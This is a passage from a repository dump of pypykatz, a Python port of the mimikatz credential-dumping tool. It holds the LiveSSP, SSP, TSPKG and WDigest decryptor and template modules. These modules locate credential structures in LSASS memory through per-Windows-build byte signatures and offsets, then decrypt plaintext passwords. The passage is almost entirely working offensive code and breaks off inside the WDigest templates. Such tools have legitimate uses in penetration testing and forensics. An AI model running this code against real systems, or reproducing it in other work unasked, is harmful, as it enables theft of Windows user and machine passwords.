WindowsMinBuild.WIN_8.value: 36 | template.signature = b'\x33\xc0\xeb\x20\x48\x8d\x05' 37 | template.first_entry_offset = 7 38 | 39 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: 40 | template.signature = b'\x4c\x89\x1f\x48\x89\x47\x08\x49\x39\x43\x08\x0f\x85' 41 | template.first_entry_offset = -4 42 | 43 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: 44 | template.signature = b'\x08\x48\x39\x48\x08\x0f\x85' 45 | template.first_entry_offset = -10 46 | 47 | elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: 48 | template.signature = b'\x48\x89\x4e\x08\x48\x39\x48\x08' 49 | template.first_entry_offset = -7 50 | 51 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: 52 | template.signature = b'\x48\x89\x4f\x08\x48\x89\x78\x08' 53 | template.first_entry_offset = 11 54 | 55 | else: 56 | #currently this doesnt make sense, but keeping it here for future use 57 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) 58 | 59 | 60 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 61 | if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: 62 | template.signature = b'\x33\xc0\x40\xa3' 63 | template.first_entry_offset = -4 64 | 65 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: 66 | template.signature = b'\x8b\xf0\x81\xfe\xcc\x06\x00\x00\x0f\x84' 67 | template.first_entry_offset = -16 68 | 69 | elif sysinfo.buildnumber >= WindowsMinBuild.WIN_BLUE.value: 70 | template.signature = b'\x33\xc0\x40\xa3' 71 | template.first_entry_offset = -4 72 | 73 | else: 74 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) 75 | 76 | 77 | return template 78 | 79 | 80 | class PKIWI_MASTERKEY_CACHE_ENTRY(POINTER): 81 | def __init__(self, reader): 82 | super().__init__(reader, KIWI_MASTERKEY_CACHE_ENTRY) 83 | 84 | 85 | class KIWI_MASTERKEY_CACHE_ENTRY: 86 | def __init__(self, reader): 87 | self.Flink = PKIWI_MASTERKEY_CACHE_ENTRY(reader) 88 | self.Blink = PKIWI_MASTERKEY_CACHE_ENTRY(reader) 89 | self.LogonId = LUID(reader).value 90 | self.KeyUid = GUID(reader).value 91 | self.insertTime = FILETIME(reader) 92 | self.keySize = ULONG(reader).value 93 | if self.keySize < 512: 94 | self.key = reader.read(self.keySize) 95 | else: 96 | self.key = None -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/kerberos/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/kerberos/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/livessp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/livessp/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/livessp/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | import json 8 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor 9 | 10 | class LiveSspCredential: 11 | def __init__(self): 12 | self.credtype = 'livessp' 13 | self.username = None 14 | self.domainname = None 15 | self.password = None 16 | self.password_raw = b'' 17 | self.luid = None 18 | 19 | def to_dict(self): 20 | t = {} 21 | t['credtype'] = self.credtype 22 | t['username'] = self.username 23 | t['domainname'] = self.domainname 24 | t['password'] = self.password 25 | t['password_raw'] = self.password_raw 26 | t['luid'] = self.luid 27 | return t 28 | def to_json(self): 29 | return json.dumps(self.to_dict()) 30 | 31 | def __str__(self): 32 | t = '\t== LiveSsp [%x]==\n' % self.luid 33 | t += '\tusername %s\n' % self.username 34 | t += '\tdomainname %s\n' % self.domainname 35 | t += '\tpassword %s\n' % self.password 36 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() 37 | return t 38 | 39 | class LiveSspDecryptor(PackageDecryptor): 40 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 41 | super().__init__('LiveSsp', lsa_decryptor, sysinfo, reader) 42 | self.decryptor_template = decryptor_template 43 | self.credentials = [] 44 | 45 | def find_first_entry(self): 46 | position = self.find_signature('msv1_0.dll',self.decryptor_template.signature) 47 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 48 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) 49 | return ptr_entry, ptr_entry_loc 50 | 51 | def add_entry(self, ssp_entry): 52 | c = LiveSspCredential() 53 | c.luid = ssp_entry.LocallyUniqueIdentifier 54 | 55 | suppCreds = ssp_entry.suppCreds.read(self.reader) 56 | 57 | c.username = suppCreds.credentials.UserName.read_string(self.reader) 58 | c.domainname = suppCreds.credentials.Domaine.read_string(self.reader) 59 | if suppCreds.credentials.Password.Length != 0: 60 | enc_data = suppCreds.credentials.Password.read_maxdata(self.reader) 61 | if c.username.endswith('$') is True: 62 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) 63 | if c.password is not None: 64 | c.password = c.password.hex() 65 | else: 66 | c.password, c.password_raw = self.decrypt_password(enc_data) 67 | 68 | self.credentials.append(c) 69 | 70 | def start(self): 71 | try: 72 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() 73 | except Exception as e: 74 | self.log('Failed to find structs! Reason: %s' % e) 75 | return 76 | self.reader.move(entry_ptr_loc) 77 | entry_ptr = self.decryptor_template.list_entry(self.reader) 78 | self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/livessp/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | #from minidump.win_datatypes import * 8 | from pypykatz.commons.common import KatzSystemArchitecture 9 | from pypykatz.commons.win_datatypes import POINTER, ULONG, \ 10 | KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, LSA_UNICODE_STRING 11 | from pypykatz.lsadecryptor.package_commons import PackageTemplate 12 | 13 | class LiveSspTemplate(PackageTemplate): 14 | def __init__(self): 15 | super().__init__('LiveSsp') 16 | self.signature = None 17 | self.first_entry_offset = None 18 | self.list_entry = None 19 | 20 | @staticmethod 21 | def get_template(sysinfo): 22 | template = LiveSspTemplate() 23 | template.list_entry = PKIWI_LIVESSP_LIST_ENTRY 24 | template.log_template('list_entry', template.list_entry) 25 | 26 | if sysinfo.architecture == KatzSystemArchitecture.X64: 27 | template.signature = b'\x74\x25\x8b' 28 | template.first_entry_offset = -7 29 | 30 | 31 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 32 | template.signature = b'\x8b\x16\x39\x51\x24\x75\x08' 33 | template.first_entry_offset = -8 34 | 35 | else: 36 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) 37 | 38 | 39 | return template 40 | 41 | 42 | class PKIWI_LIVESSP_PRIMARY_CREDENTIAL(POINTER): 43 | def __init__(self, reader): 44 | super().__init__(reader, KIWI_LIVESSP_PRIMARY_CREDENTIAL) 45 | 46 | class KIWI_LIVESSP_PRIMARY_CREDENTIAL: 47 | def __init__(self, reader): 48 | self.isSupp = ULONG(reader).value 49 | self.unk0 = ULONG(reader).value 50 | self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) 51 | 52 | 53 | class PKIWI_LIVESSP_LIST_ENTRY(POINTER): 54 | def __init__(self, reader): 55 | super().__init__(reader, KIWI_LIVESSP_LIST_ENTRY) 56 | 57 | class KIWI_LIVESSP_LIST_ENTRY: 58 | def __init__(self, reader): 59 | self.Flink = PKIWI_LIVESSP_LIST_ENTRY(reader) 60 | self.Blink = PKIWI_LIVESSP_LIST_ENTRY(reader) 61 | self.unk0 = PVOID(reader) 62 | self.unk1 = PVOID(reader) 63 | self.unk2 = PVOID(reader) 64 | self.unk3 = PVOID(reader) 65 | self.unk4 = DWORD(reader).value 66 | self.unk5 = DWORD(reader).value 67 | self.unk6 = PVOID(reader) 68 | self.LocallyUniqueIdentifier = LUID(reader).value 69 | self.UserName = LSA_UNICODE_STRING(reader) 70 | self.unk7 = PVOID(reader) 71 | self.suppCreds = PKIWI_LIVESSP_PRIMARY_CREDENTIAL(reader) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/msv/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/msv/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/ssp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/ssp/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/ssp/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | import json 9 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor 10 | 11 | class SspCredential: 12 | def __init__(self): 13 | self.credtype = 'ssp' 14 | self.username = None 15 | self.domainname = None 16 | self.password = None 17 | self.password_raw = b'' 18 | self.luid = None 19 | 20 | def to_dict(self): 21 | t = {} 22 | t['credtype'] = self.credtype 23 | t['username'] = self.username 24 | t['domainname'] = self.domainname 25 | t['password'] = self.password 26 | t['password_raw'] = self.password_raw 27 | t['luid'] = self.luid 28 | return t 29 | 30 | def to_json(self): 31 | return json.dumps(self.to_dict()) 32 | 33 | def __str__(self): 34 | t = '\t== SSP [%x]==\n' % self.luid 35 | t += '\t\tusername %s\n' % self.username 36 | t += '\t\tdomainname %s\n' % self.domainname 37 | t += '\t\tpassword %s\n' % self.password 38 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() 39 | return t 40 | 41 | class SspDecryptor(PackageDecryptor): 42 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 43 | super().__init__('Ssp', lsa_decryptor, sysinfo, reader) 44 | self.decryptor_template = decryptor_template 45 | self.credentials = [] 46 | 47 | def find_first_entry(self): 48 | position = self.find_signature('msv1_0.dll',self.decryptor_template.signature) 49 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 50 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) 51 | return ptr_entry, ptr_entry_loc 52 | 53 | def add_entry(self, ssp_entry): 54 | c = SspCredential() 55 | c.luid = ssp_entry.LogonId 56 | c.username = ssp_entry.credentials.Domaine.read_string(self.reader) 57 | c.domainname = ssp_entry.credentials.UserName.read_string(self.reader) 58 | if ssp_entry.credentials.Password.Length != 0: 59 | if c.username.endswith('$') is True or c.domainname.endswith('$') is True: 60 | c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader), bytes_expected=True) 61 | if c.password is not None: 62 | c.password = c.password.hex() 63 | else: 64 | c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader)) 65 | 66 | if c.username == '' and c.domainname == '' and c.password is None: 67 | return 68 | 69 | self.credentials.append(c) 70 | 71 | def start(self): 72 | try: 73 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() 74 | except Exception as e: 75 | self.log('Failed to find structs! Reason: %s' % e) 76 | return 77 | self.reader.move(entry_ptr_loc) 78 | entry_ptr = self.decryptor_template.list_entry(self.reader) 79 | self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/ssp/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild 9 | from pypykatz.commons.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER 10 | from pypykatz.lsadecryptor.package_commons import PackageTemplate 11 | 12 | class SspTemplate(PackageTemplate): 13 | def __init__(self): 14 | super().__init__('Ssp') 15 | self.signature = None 16 | self.first_entry_offset = None 17 | self.list_entry = None 18 | 19 | @staticmethod 20 | def get_template(sysinfo): 21 | template = SspTemplate() 22 | template.list_entry = PKIWI_SSP_CREDENTIAL_LIST_ENTRY 23 | template.log_template('list_entry', template.list_entry) 24 | 25 | if sysinfo.architecture == KatzSystemArchitecture.X64: 26 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 27 | template.signature = b'\xc7\x43\x24\x43\x72\x64\x41\xff\x15' 28 | template.first_entry_offset = 16 29 | 30 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: 31 | template.signature = b'\xc7\x47\x24\x43\x72\x64\x41\x48\x89\x47\x78\xff\x15' 32 | template.first_entry_offset = 20 33 | 34 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value: 35 | template.signature = b'\x24\x43\x72\x64\x41\xff\x15' 36 | template.first_entry_offset = 14 37 | 38 | else: 39 | #currently this doesnt make sense, but keeping it here for future use 40 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) 41 | 42 | 43 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 44 | template.signature = b'\x1c\x43\x72\x64\x41\xff\x15' 45 | template.first_entry_offset = 12 46 | 47 | else: 48 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) 49 | 50 | 51 | return template 52 | 53 | 54 | class PKIWI_SSP_CREDENTIAL_LIST_ENTRY(POINTER): 55 | def __init__(self, reader): 56 | super().__init__(reader, KIWI_SSP_CREDENTIAL_LIST_ENTRY) 57 | 58 | class KIWI_SSP_CREDENTIAL_LIST_ENTRY: 59 | def __init__(self, reader): 60 | self.Flink = PKIWI_SSP_CREDENTIAL_LIST_ENTRY(reader) 61 | self.Blink = PKIWI_SSP_CREDENTIAL_LIST_ENTRY(reader) 62 | self.References = ULONG(reader).value 63 | self.CredentialReferences = ULONG(reader).value 64 | self.LogonId = LUID(reader).value 65 | self.unk0 = ULONG(reader).value 66 | self.unk1 = ULONG(reader).value 67 | self.unk2 = ULONG(reader).value 68 | reader.align() 69 | self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/tspkg/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/tspkg/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/tspkg/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | import json 8 | from pypykatz import logger 9 | 10 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor 11 | from pypykatz.commons.win_datatypes import PRTL_AVL_TABLE 12 | 13 | class TspkgCredential: 14 | def __init__(self): 15 | self.credtype = 'tspkg' 16 | self.username = None 17 | self.domainname = None 18 | self.password = None 19 | self.password_raw = b'' 20 | self.luid = None 21 | 22 | def to_dict(self): 23 | t = {} 24 | t['credtype'] = self.credtype 25 | t['username'] = self.username 26 | t['domainname'] = self.domainname 27 | t['password'] = self.password 28 | t['password_raw'] = self.password_raw 29 | t['luid'] = self.luid 30 | return t 31 | 32 | def to_json(self): 33 | return json.dumps(self.to_dict()) 34 | 35 | def __str__(self): 36 | t = '\t== TSPKG [%x]==\n' % self.luid 37 | t += '\t\tusername %s\n' % self.username 38 | t += '\t\tdomainname %s\n' % self.domainname 39 | t += '\t\tpassword %s\n' % self.password 40 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() 41 | return t 42 | 43 | class TspkgDecryptor(PackageDecryptor): 44 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 45 | super().__init__('Tspkg', lsa_decryptor, sysinfo, reader) 46 | self.decryptor_template = decryptor_template 47 | self.credentials = [] 48 | 49 | 50 | def find_first_entry(self): 51 | position = self.find_signature('TSpkg.dll',self.decryptor_template.signature) 52 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.avl_offset) 53 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) 54 | return ptr_entry, ptr_entry_loc 55 | 56 | def start(self): 57 | try: 58 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() 59 | except Exception as e: 60 | self.log('Failed to find structs! Reason: %s' % e) 61 | return 62 | result_ptr_list = [] 63 | self.reader.move(entry_ptr_value) 64 | try: 65 | start_node = PRTL_AVL_TABLE(self.reader).read(self.reader) 66 | except Exception as e: 67 | logger.error('Failed to prcess TSPKG package! Reason: %s' % e) 68 | return 69 | self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) 70 | for ptr in result_ptr_list: 71 | self.log_ptr(ptr, self.decryptor_template.credential_struct.__name__) 72 | self.reader.move(ptr) 73 | credential_struct = self.decryptor_template.credential_struct(self.reader) 74 | primary_credential = credential_struct.pTsPrimary.read(self.reader) 75 | if not primary_credential is None: 76 | c = TspkgCredential() 77 | c.luid = credential_struct.LocallyUniqueIdentifier 78 | #c.username = primary_credential.credentials.UserName.read_string(self.reader) 79 | #c.domainname = primary_credential.credentials.Domaine.read_string(self.reader) 80 | #### the above two lines will be switched, because it seems that username and domainname is always switched in this package. 81 | #### reason is beyond me... 82 | 83 | c.domainname = primary_credential.credentials.UserName.read_string(self.reader) 84 | c.username = primary_credential.credentials.Domaine.read_string(self.reader) 85 | 86 | if primary_credential.credentials.Password.Length != 0: 87 | enc_data = primary_credential.credentials.Password.read_maxdata(self.reader) 88 | if c.username.endswith('$') is True: 89 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) 90 | if c.password is not None: 91 | c.password = c.password.hex() 92 | else: 93 | c.password, c.password_raw = self.decrypt_password(enc_data) 94 | 95 | self.credentials.append(c) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/tspkg/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | #import io 8 | #from minidump.win_datatypes import * 9 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild 10 | from pypykatz.commons.win_datatypes import KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, PVOID, LUID 11 | from pypykatz.lsadecryptor.package_commons import PackageTemplate 12 | 13 | class TspkgTemplate(PackageTemplate): 14 | def __init__(self): 15 | super().__init__('Tspkg') 16 | self.signature = None 17 | self.avl_offset = None 18 | self.credential_struct = None 19 | 20 | @staticmethod 21 | def get_template(sysinfo): 22 | template = TspkgTemplate() 23 | if sysinfo.architecture == KatzSystemArchitecture.X64: 24 | template.signature = b'\x48\x83\xec\x20\x48\x8d\x0d' 25 | template.avl_offset = 7 26 | 27 | if sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: 28 | template.credential_struct = KIWI_TS_CREDENTIAL_x64 29 | 30 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: 31 | template.credential_struct = KIWI_TS_CREDENTIAL_1607_x64 32 | 33 | else: 34 | #currently this doesnt make sense, but keeping it here for future use 35 | raise Exception('Could not identify template! Architecture: %s Buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) 36 | 37 | 38 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 39 | if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: 40 | template.signature = b'\x8b\xff\x55\x8b\xec\x51\x56\xbe' 41 | template.avl_offset = 8 42 | template.credential_struct = KIWI_TS_CREDENTIAL 43 | 44 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: 45 | template.signature = b'\x8b\xff\x53\xbb' 46 | template.avl_offset = 4 47 | template.credential_struct = KIWI_TS_CREDENTIAL 48 | 49 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: 50 | template.signature = b'\x8b\xff\x57\xbf' 51 | template.avl_offset = 4 52 | template.credential_struct = KIWI_TS_CREDENTIAL 53 | 54 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: 55 | template.signature = b'\x8b\xff\x57\xbf' 56 | template.avl_offset = 4 57 | template.credential_struct = KIWI_TS_CREDENTIAL_1607 58 | 59 | else: 60 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) 61 | 62 | template.log_template('credential_struct', template.credential_struct) 63 | 64 | return template 65 | 66 | 67 | class PKIWI_TS_PRIMARY_CREDENTIAL(POINTER): 68 | def __init__(self, reader): 69 | super().__init__(reader, KIWI_TS_PRIMARY_CREDENTIAL) 70 | 71 | class KIWI_TS_PRIMARY_CREDENTIAL: 72 | def __init__(self, reader): 73 | self.unk0 = PVOID(reader) # // lock ? 74 | self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader) 75 | 76 | 77 | class KIWI_TS_CREDENTIAL: 78 | def __init__(self, reader): 79 | self.unk0 = reader.read(64) 80 | self.LocallyUniqueIdentifier = LUID(reader).value 81 | reader.align() 82 | self.unk1 = PVOID(reader) 83 | self.unk2 = PVOID(reader) 84 | self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader) 85 | 86 | class KIWI_TS_CREDENTIAL_x64: 87 | def __init__(self, reader): 88 | self.unk0 = reader.read(108) 89 | self.LocallyUniqueIdentifier = LUID(reader).value 90 | reader.align() 91 | self.unk1 = PVOID(reader) 92 | self.unk2 = PVOID(reader) 93 | self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader) 94 | 95 | class KIWI_TS_CREDENTIAL_1607: 96 | def __init__(self, reader): 97 | self.unk0 = reader.read(68) 98 | self.LocallyUniqueIdentifier = LUID(reader).value 99 | reader.align() 100 | self.unk1 = PVOID(reader) 101 | self.unk2 = PVOID(reader) 102 | self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader) 103 | 104 | 105 | class KIWI_TS_CREDENTIAL_1607_x64: 106 | def __init__(self, reader): 107 | self.unk0 = reader.read(112) 108 | self.LocallyUniqueIdentifier = LUID(reader).value 109 | reader.align() 110 | self.unk1 = PVOID(reader) 111 | self.unk2 = PVOID(reader) 112 | self.pTsPrimary = PKIWI_TS_PRIMARY_CREDENTIAL(reader) 113 | 114 | -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/wdigest/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/wdigest/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/wdigest/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | import json 8 | 9 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor 10 | from pypykatz.commons.win_datatypes import LSA_UNICODE_STRING 11 | 12 | class WdigestCredential: 13 | def __init__(self): 14 | self.credtype = 'wdigest' 15 | self.username = None 16 | self.domainname = None 17 | self.password = None 18 | self.password_raw = b'' 19 | self.luid = None 20 | 21 | def to_dict(self): 22 | t = {} 23 | t['credtype'] = self.credtype 24 | t['username'] = self.username 25 | t['domainname'] = self.domainname 26 | t['password'] = self.password 27 | t['password_raw'] = self.password_raw 28 | t['luid'] = self.luid 29 | return t 30 | def to_json(self): 31 | return json.dumps(self.to_dict()) 32 | 33 | def __str__(self): 34 | t = '\t== WDIGEST [%x]==\n' % self.luid 35 | t += '\t\tusername %s\n' % self.username 36 | t += '\t\tdomainname %s\n' % self.domainname 37 | t += '\t\tpassword %s\n' % self.password 38 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() 39 | return t 40 | 41 | class WdigestDecryptor(PackageDecryptor): 42 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 43 | super().__init__('Wdigest', lsa_decryptor, sysinfo, reader) 44 | self.decryptor_template = decryptor_template 45 | self.credentials = [] 46 | 47 | def find_first_entry(self): 48 | position = self.find_signature('wdigest.dll',self.decryptor_template.signature) 49 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 50 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) 51 | return ptr_entry, ptr_entry_loc 52 | 53 | def add_entry(self, wdigest_entry): 54 | """ 55 | Changed the wdigest parsing, the struct only contains the pointers in the linked list, the actual data is read by 56 | adding an offset to the current entry's position 57 | """ 58 | wc = WdigestCredential() 59 | wc.luid = wdigest_entry.luid 60 | 61 | #input(wdigest_entry.this_entry.value) 62 | self.reader.move(wdigest_entry.this_entry.value + self.decryptor_template.primary_offset) 63 | UserName = LSA_UNICODE_STRING(self.reader) 64 | DomainName = LSA_UNICODE_STRING(self.reader) 65 | Password = LSA_UNICODE_STRING(self.reader) 66 | 67 | wc.username = UserName.read_string(self.reader) 68 | wc.domainname = DomainName.read_string(self.reader) 69 | wc.encrypted_password = Password.read_maxdata(self.reader) 70 | if wc.username.endswith('$') is True: 71 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True) 72 | if wc.password is not None: 73 | wc.password = wc.password.hex() 74 | else: 75 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password) 76 | 77 | if wc.username == '' and wc.domainname == '' and wc.password is None: 78 | return 79 | 80 | self.credentials.append(wc) 81 | 82 | def start(self): 83 | try: 84 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() 85 | except Exception as e: 86 | self.log('Failed to find Wdigest structs! Reason: %s' % e) 87 | return 88 | self.reader.move(entry_ptr_loc) 89 | entry_ptr = self.decryptor_template.list_entry(self.reader) 90 | self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/wdigest/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | #import io 8 | #from minidump.win_datatypes import * 9 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild 10 | from pypykatz.commons.win_datatypes import LUID, ULONG, POINTER 11 | from pypykatz.lsadecryptor.package_commons import PackageTemplate 12 | 13 | class WdigestTemplate(PackageTemplate): 14 | def __init__(self): 15 | super().__init__('Wdigest') 16 | self.signature = None 17 | self.first_entry_offset = None 18 | self.list_entry = None 19 | self.primary_offset = None 20 | 21 | @staticmethod 22 | def get_template(sysinfo): 23 | template = WdigestTemplate() 24 | 25 | if sysinfo.architecture == KatzSystemArchitecture.X64: 26 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: 27 | template.signature = b'\x48\x3b\xda\x74' 28 | template.first_entry_offset = -4 29 | template.primary_offset = 36 30 | template.list_entry = PWdigestListEntry 31 | 32 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 33 | template.signature = b'\x48\x3b\xda\x74' 34 | template.first_entry_offset = -4 35 | template.primary_offset = 48 36 | template.list_entry = PWdigestListEntry 37 | 38 | elif sysinfo.buildnumber >= WindowsMinBuild.WIN_VISTA.value: 39 | template.signature = b'\x48\x3b\xd9\x74' 40 | template.first_entry_offset = -4 41 | template.primary_offset = 48 42 | template.list_entry = PWdigestListEntry 43 | 44 | else: 45 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) 46 | 47 | 48 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 49 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: 50 | template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11' 51 | template.first_entry_offset = -6 52 | template.primary_offset = 36 53 | template.list_entry = PWdigestListEntryNT5 54 | 55 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 56 | template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11' 57 | template.first_entry_offset = -6 58 | template.primary_offset = 28 59 | template.list_entry = PWdigestListEntryNT5 60 | 61 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: 62 | template.signature = b'\x74\x11\x8b\x0b\x39\x4e\x10' 63 | template.first_entry_offset = -6 64 | template.primary_offset = 32 65 | template.list_entry = PWdigestListEntry 66 | 67 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: 68 | template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' 69 | template.first_entry_offset = -4 70 | template.primary_offset = 32 71 | template.list_entry = PWdigestListEntry 72 | 73 | elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: 74 | template.signature = 